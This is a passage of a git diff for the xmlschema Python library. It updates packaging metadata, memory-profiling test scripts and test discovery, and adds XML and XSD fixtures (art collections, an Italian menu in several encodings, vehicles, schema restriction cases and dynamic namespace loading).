'elementpath>=2.5.0, <3.0.0', - 'memory_profiler', 'Sphinx', 'sphinx_rtd_theme', 'jinja2', - 'flake8', 'mypy', 'lxml-stubs'], - 'docs': ['elementpath>=2.5.0, <3.0.0', 'Sphinx', 'sphinx_rtd_theme', 'jinja2'] - }, - author='Davide Brunato', - author_email='brunato@sissa.it', - url='https://github.com/sissaschool/xmlschema', - license='MIT', - license_file='LICENSE', - description='An XML Schema validator and decoder', - long_description=long_description, - classifiers=[ - 'Development Status :: 5 - Production/Stable', - 'Intended Audience :: Developers', - 'Intended Audience :: Information Technology', - 'Intended Audience :: Science/Research', - 'License :: OSI Approved :: MIT License', - 'Operating System :: OS Independent', - 'Programming Language :: Python', - 'Programming Language :: Python :: 3', - 'Programming Language :: Python :: 3 :: Only', - 'Programming Language :: Python :: 3.7', - 'Programming Language :: Python :: 3.8', - 'Programming Language :: Python :: 3.9', - 'Programming Language :: Python :: 3.10', - 'Programming Language :: Python :: Implementation :: CPython', - 'Programming Language :: Python :: Implementation :: PyPy', - 'Topic :: Software Development :: Libraries', - 'Topic :: Text Processing :: Markup :: XML', - ] -) diff --git a/tests/check_etree_import.py b/tests/check_etree_import.py deleted file mode 100755 index a8dab92..0000000 --- a/tests/check_etree_import.py +++ /dev/null @@ -1,54 +0,0 @@ -# -# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato -# -""" -Check ElementTree import with xmlschema. -""" -import argparse -import sys - -parser = argparse.ArgumentParser(add_help=True) -parser.add_argument( - '--before', action="store_true", default=False, - help="Import ElementTree before xmlschema. If not provided the ElementTree library " - "is loaded after xmlschema." -) -args = parser.parse_args() - -if args.before: - print("Importing ElementTree before xmlschema ...") - import xml.etree.ElementTree as ElementTree - import xmlschema.etree -else: - print("Importing ElementTree after xmlschema ...") - import xmlschema.etree - import xml.etree.ElementTree as ElementTree - -# Check if all modules are loaded in the system table -assert 'xml.etree.ElementTree' in sys.modules, "ElementTree not loaded!" -assert 'xmlschema' in sys.modules, 'xmlschema not loaded' -assert 'xmlschema.etree' in sys.modules, 'xmlschema.etree not loaded' -assert '_elementtree' in sys.modules, "cElementTree is not loaded!" - -# Check imported ElementTree -assert ElementTree._Element_Py is not ElementTree.Element, "ElementTree is pure Python!" -assert xmlschema.etree.ElementTree is ElementTree, \ - "xmlschema has a different ElementTree module!" -assert sys.modules['xml.etree'].ElementTree is ElementTree - -# Check ElementTree and pure Python ElementTree imported in xmlschema -PyElementTree = xmlschema.etree.PyElementTree -assert xmlschema.etree.ElementTree.Element is not xmlschema.etree.ElementTree._Element_Py, \ - "xmlschema's ElementTree is pure Python!" -assert PyElementTree.Element is PyElementTree._Element_Py, \ - "PyElementTree is not pure Python!" -assert xmlschema.etree.ElementTree is not PyElementTree, \ - "xmlschema ElementTree is PyElementTree!" - -print("\nTest OK: ElementTree import is working as expected!") diff --git a/tests/check_memory.py b/tests/check_memory.py index 8d1f60c..0611c4f 100755 --- a/tests/check_memory.py +++ b/tests/check_memory.py @@ -19,8 +19,8 @@ def test_choice_type(value): - if value not in (str(v) for v in range(1, 9)): - msg = "%r must be an integer between [1 ... 8]." % value + if value not in (str(v) for v in range(1, 14)): + msg = "%r must be an integer between [1 ... 13]." % value raise argparse.ArgumentTypeError(msg) return int(value) @@ -37,6 +37,11 @@ def test_choice_type(value): 6) Decode XML file with xmlschema in lazy mode 7) Validate XML file with xmlschema 8) Validate XML file with xmlschema in lazy mode + 9) Iterate XML file with XMLResource instance + 10) Iterate XML file with lazy XMLResource instance + 11) Iterate XML file with lazy XMLResource instance (thin lazy iter) + 12) Iterate XML file with lxml parse + 13) Iterate XML file with lxml full iterparse """ @@ -53,10 +58,10 @@ def test_choice_type(value): def import_package(): # Imports of packages used by xmlschema that # have a significant memory usage impact. - import decimal - from urllib.error import URLError - import lxml.etree - import elementpath + import decimal # noqa + from urllib.error import URLError # noqa + import lxml.etree # noqa + import elementpath # noqa import xmlschema return xmlschema @@ -74,6 +79,7 @@ def etree_parse(source, repeat=1): for _ in range(repeat): for _ in xt.iter(): pass + del xt @profile @@ -131,6 +137,51 @@ def lazy_validate(source, repeat=1): validator.validate(xmlschema.XMLResource(source, lazy=True), path=path) +@profile +def full_xml_resource(source, repeat=1): + xr = xmlschema.XMLResource(source) + for _ in range(repeat): + for _ in xr.iter(): + pass + del xr + + +@profile +def lazy_xml_resource(source, repeat=1): + xr = xmlschema.XMLResource(source, lazy=True, thin_lazy=False) + for _ in range(repeat): + for _ in xr.iter(): + pass + del xr + + +@profile +def thin_lazy_xml_resource(source, repeat=1): + xr = xmlschema.XMLResource(source, lazy=True) + for _ in range(repeat): + for _ in xr.iter(): + pass + del xr + + +@profile +def lxml_etree_parse(source, repeat=1): + xt = etree.parse(source) + for _ in range(repeat): + for _ in xt.iter(): + pass + del xt + + +@profile +def lxml_etree_full_iterparse(source, repeat=1): + for _ in range(repeat): + context = etree.iterparse(source, events=('start', 'end')) + for event, elem in context: + if event == 'start': + pass + + if __name__ == '__main__': if args.test_num == 1: if args.xml_file is None: @@ -163,3 +214,18 @@ def lazy_validate(source, repeat=1): import xmlschema xmlschema.XMLSchema.meta_schema.build() lazy_validate(args.xml_file, args.repeat) + elif args.test_num == 9: + import xmlschema + full_xml_resource(args.xml_file, args.repeat) + elif args.test_num == 10: + import xmlschema + lazy_xml_resource(args.xml_file, args.repeat) + elif args.test_num == 11: + import xmlschema + thin_lazy_xml_resource(args.xml_file, args.repeat) + elif args.test_num == 12: + from lxml import etree + lxml_etree_parse(args.xml_file, args.repeat) + elif args.test_num == 13: + from lxml import etree + lxml_etree_full_iterparse(args.xml_file, args.repeat) diff --git a/tests/test_all.py b/tests/test_all.py index 6a4c0ea..50fc011 100644 --- a/tests/test_all.py +++ b/tests/test_all.py @@ -24,18 +24,18 @@ def load_tests(loader, tests, pattern): tests.addTests(loader.discover(start_dir=tests_dir, pattern=pattern)) return tests - tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_etree.py")) - tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_etree_import.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_helpers.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_namespaces.py")) + tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_locations.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_resources.py")) - tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_regex.py")) + tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_exports.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_xpath.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_cli.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_converters.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_documents.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_dataobjects.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_codegen.py")) + tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_translations.py")) tests.addTests(loader.discover(start_dir=tests_dir, pattern="test_wsdl.py")) validation_dir = os.path.join(os.path.dirname(__file__), 'validation') diff --git a/tests/test_cases/examples/collection/collection-default.xml b/tests/test_cases/examples/collection/collection-default.xml new file mode 100644 index 0000000..e57940d --- /dev/null +++ b/tests/test_cases/examples/collection/collection-default.xml @@ -0,0 +1,28 @@ + + + + 1 + The Umbrellas + 1886 + + Pierre-Auguste Renoir + 1841-02-25 + 1919-12-03 + painter + + 10000.00 + + + 2 + + <year>1925</year> + <author id="JM"> + <name>Joan Miró</name> + <born>1893-04-20</born> + <dead>1983-12-25</dead> + <qualification>painter, sculptor and ceramicist</qualification> + </author> + </object> +</collection> diff --git a/tests/test_cases/examples/collection/collection-redef-xmlns.xml b/tests/test_cases/examples/collection/collection-redef-xmlns.xml new file mode 100644 index 0000000..2ee532d --- /dev/null +++ b/tests/test_cases/examples/collection/collection-redef-xmlns.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="UTF-8"?> +<col1:collection xmlns:col1="http://example.com/ns/collection" + xmlns:col="http://xmlschema.test/ns" + xmlns="http://xmlschema.test/ns" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://example.com/ns/collection collection5.xsd"> + <col:object xmlns:col="http://example.com/ns/collection" id="b0836217462" available="true"> + <col:position>1</col:position> + <col:title>The Umbrellas</col:title> + <col:year>1886</col:year> + <col:author id="PAR"> + <col:name>Pierre-Auguste Renoir</col:name> + <col:born>1841-02-25</col:born> + <col:dead>1919-12-03</col:dead> + <col:qualification>painter</col:qualification> + </col:author> + <col:estimation>10000.00</col:estimation> + </col:object> + <object xmlns="http://example.com/ns/collection" id="b0836217463" available="true"> + <position>2</position> + <title/> + <year>1925</year> + <author id="JM"> + <name>Joan Miró</name> + <born>1893-04-20</born> + <dead>1983-12-25</dead> + <qualification>painter, sculptor and ceramicist</qualification> + </author> + </object> +</col1:collection> diff --git a/tests/test_cases/examples/collection/collection.py b/tests/test_cases/examples/collection/collection.py index a344a3b..70382b3 100644 --- a/tests/test_cases/examples/collection/collection.py +++ b/tests/test_cases/examples/collection/collection.py @@ -24,4 +24,3 @@ class CollectionBinding(DataElement, metaclass=DataBindingMeta): class PersonBinding(DataElement, metaclass=DataBindingMeta): xsd_element = schema.elements['person'] - diff --git a/tests/test_cases/examples/collection/collection5.xsd b/tests/test_cases/examples/collection/collection5.xsd new file mode 100644 index 0000000..8c41550 --- /dev/null +++ b/tests/test_cases/examples/collection/collection5.xsd @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- Collection schema with elementFormDefault="qualified". --> +<xs:schema targetNamespace="http://example.com/ns/collection" + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns="http://example.com/ns/collection" + elementFormDefault="qualified"> + <xs:element name="collection"> + <xs:complexType> + <xs:sequence> + <xs:element name="object" type="objType" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:element name="person" type="personType"/> + <xs:complexType name="personType"> + <xs:sequence> + <xs:element name="name" type="xs:string"/> + <xs:element name="born" type="xs:date"/> + <xs:element name="dead" type="xs:date" minOccurs="0"/> + <xs:element name="qualification" type="xs:string" minOccurs="0"/> + </xs:sequence> + <xs:attribute name="id" type="xs:ID" use="required"/> + </xs:complexType> + <xs:complexType name="objType"> + <xs:sequence> + <xs:element name="position" type="xs:int"/> + <xs:element name="title" type="xs:string"/> + <xs:element name="year" type="xs:gYear"/> + <xs:element name="author" type="personType"/> + <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> + <xs:element name="characters" minOccurs="0"> + <xs:complexType> + <xs:sequence> + <xs:element ref="person" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:sequence> + <xs:attribute name="id" type="xs:ID" use="required"/> + <xs:attribute name="available" type="xs:boolean" use="required"/> + </xs:complexType> +</xs:schema> diff --git "a/tests/test_cases/examples/men\303\271/men\303\271-ascii.xml" "b/tests/test_cases/examples/men\303\271/men\303\271-ascii.xml" new file mode 100644 index 0000000..aa9896a --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271-ascii.xml" @@ -0,0 +1,14 @@ +<?xml version='1.0' encoding='US-ASCII'?> +<menù xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="menù.xsd"> + <antipasto>Affettati misti</antipasto> + <antipasto>Bruschetta</antipasto> + <antipasto>Polenta e funghi</antipasto> + <primo>Lasagne</primo> + <primo>Gnocchi al ragù</primo> + <primo>Risotto allo zafferano</primo> + <secondo>Tagliata di pollo</secondo> + <secondo>Cotoletta alla milanese</secondo> + <secondo>Caprese</secondo> + <dolce>Crostata ai mirtilli</dolce> + <dolce>Tiramisù</dolce> +</menù> \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271-ascii.xsd" "b/tests/test_cases/examples/men\303\271/men\303\271-ascii.xsd" new file mode 100644 index 0000000..5f0794e --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271-ascii.xsd" @@ -0,0 +1,13 @@ +<?xml version='1.0' encoding='US-ASCII'?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="menù"> + <xs:complexType> + <xs:sequence> + <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> + <xs:element name="primo" type="xs:string" maxOccurs="10"/> + <xs:element name="secondo" type="xs:string" maxOccurs="10"/> + <xs:element name="dolce" type="xs:string" maxOccurs="10"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xml" "b/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xml" new file mode 100644 index 0000000..182dfc2 --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xml" @@ -0,0 +1,14 @@ +<?xml version='1.0' encoding='CP1252'?> +<men xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="men.xsd"> + <antipasto>Affettati misti</antipasto> + <antipasto>Bruschetta</antipasto> + <antipasto>Polenta e funghi</antipasto> + <primo>Lasagne</primo> + <primo>Gnocchi al rag</primo> + <primo>Risotto allo zafferano</primo> + <secondo>Tagliata di pollo</secondo> + <secondo>Cotoletta alla milanese</secondo> + <secondo>Caprese</secondo> + <dolce>Crostata ai mirtilli</dolce> + <dolce>Tiramis</dolce> +</men> \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xsd" "b/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xsd" new file mode 100644 index 0000000..341108c --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271-cp1252.xsd" @@ -0,0 +1,13 @@ +<?xml version='1.0' encoding='CP1252'?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="men"> + <xs:complexType> + <xs:sequence> + <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> + <xs:element name="primo" type="xs:string" maxOccurs="10"/> + <xs:element name="secondo" type="xs:string" maxOccurs="10"/> + <xs:element name="dolce" type="xs:string" maxOccurs="10"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271.txt" "b/tests/test_cases/examples/men\303\271/men\303\271.txt" new file mode 100644 index 0000000..ba0e162 --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271.txt" @@ -0,0 +1 @@ +bar \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271.xml" "b/tests/test_cases/examples/men\303\271/men\303\271.xml" new file mode 100644 index 0000000..894eb6d --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271.xml" @@ -0,0 +1,15 @@ +<?xml version="1.0" encoding="UTF-8"?> +<menù xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="menù.xsd"> + <antipasto>Affettati misti</antipasto> + <antipasto>Bruschetta</antipasto> + <antipasto>Polenta e funghi</antipasto> + <primo>Lasagne</primo> + <primo>Gnocchi al ragù</primo> + <primo>Risotto allo zafferano</primo> + <secondo>Tagliata di pollo</secondo> + <secondo>Cotoletta alla milanese</secondo> + <secondo>Caprese</secondo> + <dolce>Crostata ai mirtilli</dolce> + <dolce>Tiramisù</dolce> +</menù> \ No newline at end of file diff --git "a/tests/test_cases/examples/men\303\271/men\303\271.xsd" "b/tests/test_cases/examples/men\303\271/men\303\271.xsd" new file mode 100644 index 0000000..97c0f59 --- /dev/null +++ "b/tests/test_cases/examples/men\303\271/men\303\271.xsd" @@ -0,0 +1,12 @@ +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="menù"> + <xs:complexType> + <xs:sequence> + <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> + <xs:element name="primo" type="xs:string" maxOccurs="10"/> + <xs:element name="secondo" type="xs:string" maxOccurs="10"/> + <xs:element name="dolce" type="xs:string" maxOccurs="10"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> diff --git a/tests/test_cases/examples/vehicles/invalid.xsd b/tests/test_cases/examples/vehicles/invalid.xsd new file mode 100644 index 0000000..e325213 --- /dev/null +++ b/tests/test_cases/examples/vehicles/invalid.xsd @@ -0,0 +1,20 @@ +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:vh="http://example.com/vehicles" + targetNamespace="http://example.com/vehicles" + elementFormDefault="qualified"> + + <xs:include schemaLocation="cars.xsd"/> + <xs:include schemaLocation="bikes.xsd"/> + + <xs:element name="vehicles"> + <xs:complexType name="vehiclesType"> <!-- name attr not allowed! --> + <xs:sequence> + <xs:element ref="vh:cars" /> + <xs:element ref="vh:bikes" /> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:attribute type="xs:positiveInteger" name="step"/> +</xs:schema> + diff --git a/tests/test_cases/examples/vehicles/vehicles-redef.xml b/tests/test_cases/examples/vehicles/vehicles-redef.xml new file mode 100644 index 0000000..948d03d --- /dev/null +++ b/tests/test_cases/examples/vehicles/vehicles-redef.xml @@ -0,0 +1,14 @@ +<?xml version="1.0" encoding="utf-8"?> +<vh:vehicles xmlns:vh="http://example.com/vehicles" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> + <vh:cars> + <vh:car make="Porsche" model="911" /> + <!-- Comment --> + <vh:car make="Porsche" model="911" /> + </vh:cars> + <vh:bikes> + <vh:bike make="Harley-Davidson" model="WL" /> + <vh:bike make="Yamaha" model="XS650" /> + </vh:bikes> +</vh:vehicles> diff --git a/tests/test_cases/features/decoder/data.xml b/tests/test_cases/features/decoder/data.xml index 0f93e41..fdd63e3 100644 --- a/tests/test_cases/features/decoder/data.xml +++ b/tests/test_cases/features/decoder/data.xml @@ -13,4 +13,6 @@ <simple_boolean>false</simple_boolean> <date_and_time>2020-03-05T23:04:10.047</date_and_time> <hexbin>AABBCCDD</hexbin> + <list_of_floats>INF -INF</list_of_floats> + <qname>ns:foo</qname> </ns:data> diff --git a/tests/test_cases/features/decoder/simple-types.xsd b/tests/test_cases/features/decoder/simple-types.xsd index 0cb9645..7dae7fa 100644 --- a/tests/test_cases/features/decoder/simple-types.xsd +++ b/tests/test_cases/features/decoder/simple-types.xsd @@ -16,6 +16,8 @@ <xs:element name="duration" type="xs:duration" minOccurs="0"/> <xs:element name="hexbin" type="hexCode" minOccurs="0" /> <xs:element name="base64bin" type="base64Code" minOccurs="0" /> + <xs:element name="list_of_floats" type="list_of_floats" minOccurs="0" /> + <xs:element name="qname" type="xs:QName" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> diff --git a/tests/test_cases/features/derivations/complex11-restrictions.xsd b/tests/test_cases/features/derivations/complex11-restrictions.xsd new file mode 100644 index 0000000..ba0c467 --- /dev/null +++ b/tests/test_cases/features/derivations/complex11-restrictions.xsd @@ -0,0 +1,107 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- Schema test for invalid models: occurrence violation. --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="baseType1"> + <xs:sequence> + <xs:element name="elem1" minOccurs="0"/> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:sequence> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType1"> + <xs:complexContent> + <xs:restriction base="baseType1"> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="baseType2"> + <xs:sequence> + <xs:element name="elem1" minOccurs="0"/> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:choice> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType2"> + <xs:complexContent> + <xs:restriction base="baseType2"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:choice> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="baseType3"> + <xs:sequence> + <xs:element name="elem1" minOccurs="0"/> + <xs:choice maxOccurs="5"> + <xs:element name="elem2" type="xs:string" maxOccurs="2"/> + <xs:element name="elem3" type="xs:string" maxOccurs="2"/> + </xs:choice> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType3"> + <xs:complexContent> + <xs:restriction base="baseType3"> + <xs:choice maxOccurs="10"> + <xs:element name="elem3" type="xs:string" /> + </xs:choice> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="baseType4"> + <xs:sequence> + <xs:element name="elem1" minOccurs="0"/> + <xs:choice maxOccurs="5"> + <xs:element name="elem2" type="xs:string" maxOccurs="3"/> + <xs:element name="elem3" type="xs:string" maxOccurs="4"/> + </xs:choice> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType4"> + <xs:complexContent> + <xs:restriction base="baseType4"> + <xs:choice maxOccurs="10"> + <xs:element name="elem3" type="xs:string" maxOccurs="2"/> + </xs:choice> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="baseType5"> + <xs:sequence> + <xs:element name="elem1" minOccurs="0"/> + <xs:choice minOccurs="5" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" maxOccurs="3"/> + <xs:element name="elem3" type="xs:string" maxOccurs="4"/> + </xs:choice> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType5"> + <xs:complexContent> + <xs:restriction base="baseType5"> + <xs:choice minOccurs="10" maxOccurs="unbounded"> + <xs:element name="elem3" type="xs:string" maxOccurs="2"/> + </xs:choice> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + +</xs:schema> diff --git a/tests/test_cases/features/derivations/invalid_enumeration_restriction.xsd b/tests/test_cases/features/derivations/invalid-enumeration-restriction.xsd similarity index 100% rename from tests/test_cases/features/derivations/invalid_enumeration_restriction.xsd rename to tests/test_cases/features/derivations/invalid-enumeration-restriction.xsd diff --git a/tests/test_cases/features/derivations/invalid_restrictions1.xsd b/tests/test_cases/features/derivations/invalid-restrictions1.xsd similarity index 83% rename from tests/test_cases/features/derivations/invalid_restrictions1.xsd rename to tests/test_cases/features/derivations/invalid-restrictions1.xsd index ceb839f..355e4e5 100644 --- a/tests/test_cases/features/derivations/invalid_restrictions1.xsd +++ b/tests/test_cases/features/derivations/invalid-restrictions1.xsd @@ -11,6 +11,17 @@ </xs:sequence> </xs:complexType> + <!-- Invalid with XSD 1.0, see: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4147 --> + <xs:complexType name="restrictedType0"> + <xs:complexContent> + <xs:restriction base="basicType1"> + <xs:sequence> + <xs:element ref="elem2"/> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + <!-- UPA violation minOccurs < maxOccurs --> <xs:complexType name="restrictedType1"> <xs:complexContent> diff --git a/tests/test_cases/features/derivations/invalid-restrictions2.xsd b/tests/test_cases/features/derivations/invalid-restrictions2.xsd new file mode 100644 index 0000000..d47bb44 --- /dev/null +++ b/tests/test_cases/features/derivations/invalid-restrictions2.xsd @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- Schema test for invalid model restriction (issue 344): +occurrence violation for XSD 1.0, not emptiable particle for XSD 1.1. --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="baseType1"> + <xs:sequence> + <xs:element name="elem1" /> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:sequence> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="restrictedType1"> + <xs:complexContent> + <xs:restriction base="baseType1"> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:element name="elem2" type="xs:string" /> + <xs:element name="elem3" type="xs:string" /> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + +</xs:schema> diff --git a/tests/test_cases/features/derivations/invalid_restrictions2.xsd b/tests/test_cases/features/derivations/invalid_restrictions2.xsd deleted file mode 100644 index ad4f7f7..0000000 --- a/tests/test_cases/features/derivations/invalid_restrictions2.xsd +++ /dev/null @@ -1,42 +0,0 @@ -<?xml version="1.0" encoding="UTF-8"?> -<!-- Schema test for invalid models: UPA violation restricting a substitution group head. --> -<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> - - <xs:complexType name="baseType1"> - <xs:sequence> - <xs:element name="elem1" /> - <xs:element minOccurs="0" name="elem2" /> - <xs:choice> - <xs:element name="elem3" type="xs:string" /> - <xs:element name="elem4" type="xs:string" /> - </xs:choice> - <xs:element minOccurs="0" name="elem5" /> - <xs:element minOccurs="0" name="elem6" type="xs:string" /> - <xs:element minOccurs="0" name="elem7" /> - </xs:sequence> - </xs:complexType> - - <xs:complexType name="restrictedType1"> - <xs:complexContent> - <xs:restriction base="baseType1"> - <xs:sequence> - <xs:sequence> - <xs:element name="elem1" /> - <xs:element minOccurs="0" name="elem2" /> - <xs:choice> - <xs:element name="elem3" type="xs:token" /> - <xs:element name="elem4" type="xs:string" /> - </xs:choice> - <xs:sequence> - <xs:element minOccurs="0" name="elem6" type="xs:string" /> - </xs:sequence> - </xs:sequence> - <xs:sequence> - <xs:element minOccurs="0" name="elem7" /> - </xs:sequence> - </xs:sequence> - </xs:restriction> - </xs:complexContent> - </xs:complexType> - -</xs:schema> diff --git a/tests/test_cases/features/namespaces/dynamic-case1-2.xml b/tests/test_cases/features/namespaces/dynamic-case1-2.xml new file mode 100644 index 0000000..c33b406 --- /dev/null +++ b/tests/test_cases/features/namespaces/dynamic-case1-2.xml @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="utf-8"?> +<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="dynamic-case1.xsd"> + <elem1>foo</elem1> + <elem2 xsi:noNamespaceSchemaLocation="dynamic-case1-override.xsd"/> +</root> + diff --git a/tests/test_cases/features/namespaces/dynamic-case1-overlap.xsd b/tests/test_cases/features/namespaces/dynamic-case1-overlap.xsd new file mode 100644 index 0000000..44c7496 --- /dev/null +++ b/tests/test_cases/features/namespaces/dynamic-case1-overlap.xsd @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1" /> + <xs:element name="elem3" /> +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/dynamic-case1-override.xsd b/tests/test_cases/features/namespaces/dynamic-case1-override.xsd new file mode 100644 index 0000000..ca84682 --- /dev/null +++ b/tests/test_cases/features/namespaces/dynamic-case1-override.xsd @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="utf-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:override schemaLocation="dynamic-case1.xsd"> + <xs:element name="elem1" type="xs:int"/> + </xs:override> +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/dynamic-case1.xml b/tests/test_cases/features/namespaces/dynamic-case1.xml new file mode 100644 index 0000000..5869f22 --- /dev/null +++ b/tests/test_cases/features/namespaces/dynamic-case1.xml @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="utf-8"?> +<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="dynamic-case1.xsd"> + <elem1 xsi:noNamespaceSchemaLocation="dynamic-case1-overlap.xsd"/> + <elem2/> +</root> + diff --git a/tests/test_cases/features/namespaces/dynamic-case1.xsd b/tests/test_cases/features/namespaces/dynamic-case1.xsd new file mode 100644 index 0000000..a3ba194 --- /dev/null +++ b/tests/test_cases/features/namespaces/dynamic-case1.xsd @@ -0,0 +1,20 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + A base schema for dynamic loading driven by XSI schema locations. + --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:element name="elem1" /> + <xs:element name="elem2" /> + + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element ref="elem1" /> + <xs:element ref="elem2" /> + </xs:sequence> + </xs:complexType> + </xs:element> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/import-case5a.xsd b/tests/test_cases/features/namespaces/import-case5a.xsd new file mode 100644 index 0000000..7ca0256 --- /dev/null +++ b/tests/test_cases/features/namespaces/import-case5a.xsd @@ -0,0 +1,15 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + A valid schema for testing custom imports with schema location hints. + --> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns="http://xmlschema.test/ns" + targetNamespace="http://xmlschema.test/ns"> + + <xs:simpleType name="aType"> + <xs:restriction base="xs:string"/> + </xs:simpleType> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/import-case5b.xsd b/tests/test_cases/features/namespaces/import-case5b.xsd new file mode 100644 index 0000000..a1b2d7b --- /dev/null +++ b/tests/test_cases/features/namespaces/import-case5b.xsd @@ -0,0 +1,15 @@ +<?xml version="1.0" encoding="utf-8"?> 